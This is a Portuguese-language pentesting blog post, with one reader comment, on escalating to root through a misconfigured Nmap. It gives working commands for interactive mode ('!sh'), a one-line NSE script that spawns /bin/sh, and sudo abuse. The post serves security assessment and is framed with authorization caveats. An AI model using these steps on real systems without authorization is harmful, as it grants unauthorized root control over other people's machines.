
Escalando Privilégios com o Nmap
- Por Fagner Lima
O Nmap (Network Mapper) é amplamente utilizado em testes de intrusão para mapear redes e identificar vulnerabilidades. No entanto, em algumas configurações específicas, o Nmap pode ser explorado para escalonamento de privilégios. Essa técnica é baseada em versões antigas ou permissões incorretas do Nmap em sistemas Linux, que podem permitir a execução de comandos do sistema com privilégios elevados.
Aqui estão alguns métodos comuns para escalar privilégios com o Nmap, que, vale lembrar, devem ser usados apenas em contextos de pentesting ou avaliações de segurança autorizadas.
1. Verificar Versão e Permissões do Nmap
Primeiro, verifique a versão do Nmap instalada:
bash
#nmap --version
Essa abordagem de escalonamento só é aplicável em versões anteriores à 5.21, que incluem um modo interativo que pode ser explorado para executar comandos do sistema.
Além disso, verifique as permissões do Nmap para determinar se ele possui permissões SUID, o que permitiria que o Nmap fosse executado com privilégios de root. Para isso, use o comando:
bash
#ls -l $(which nmap)
Se o Nmap estiver configurado com permissões SUID (-rwsr-xr-x
), isso significa que ele pode ser executado com permissões de root, o que pode ser explorado para escalonamento de privilégios.
2. Explorar o Modo Interativo do Nmap
Caso a versão e as permissões sejam compatíveis, você pode iniciar o Nmap em modo interativo, que permite executar comandos diretamente no sistema. Para isso, basta executar:
bash
nmap --interactive
No modo interativo, você pode então executar comandos do sistema como !sh
para abrir um shell do sistema, por exemplo:
!sh
Isso abrirá um shell de comandos, que, devido às permissões SUID, será executado com privilégios de root.
3. Usar o Nmap Scripting Engine (NSE) para Execução de Scripts
Se o Nmap estiver configurado para permitir a execução de scripts personalizados (Nmap Scripting Engine ou NSE), você pode criar um script que execute comandos do sistema. Aqui está como fazer isso:
- Criar um Script NSE Personalizado:
Crie um arquivo chamado root_shell.nse
com o seguinte conteúdo:
lua
local os = require("os")
os.execute("/bin/sh")
- Executar o Script NSE:
Execute o Nmap com o script personalizado, o que tentará rodar o script com privilégios elevados:
bash
#sudo nmap --script ./root_shell.nse
Esse comando tentará executar o script com privilégios de root, o que pode resultar em um escalonamento de privilégios no sistema alvo.
4. Uso do Sudo para Escalonamento de Privilégios
Se o Nmap for configurado para ser executado com o sudo
para um usuário específico, conforme definido no arquivo sudoers
, você pode explorar isso diretamente, sem a necessidade de fornecer uma senha. Por exemplo:
bash
#sudo nmap --interactive
Este comando permite que você execute o Nmap com permissões de root, mesmo se o usuário não tiver privilégios diretos de root, desde que o sudoers
permita essa execução sem senha.
Importante
Essas técnicas são exploratórias e devem ser usadas apenas em contextos autorizados, como auditorias de segurança e avaliações de vulnerabilidade, com o objetivo de identificar e corrigir configurações de permissões inseguras. A exploração indevida de sistemas sem permissão é ilegal e vai contra as práticas éticas da cibersegurança.
Ao realizar testes de intrusão, é fundamental garantir que todas as atividades sejam conduzidas dentro dos limites do contrato e da autorização do cliente, sempre com o foco em melhorar a segurança do sistema e não em causar danos.
Jonatha
18 de novembro de 2024Excelente conteúdo, com foco ao modo Interactive!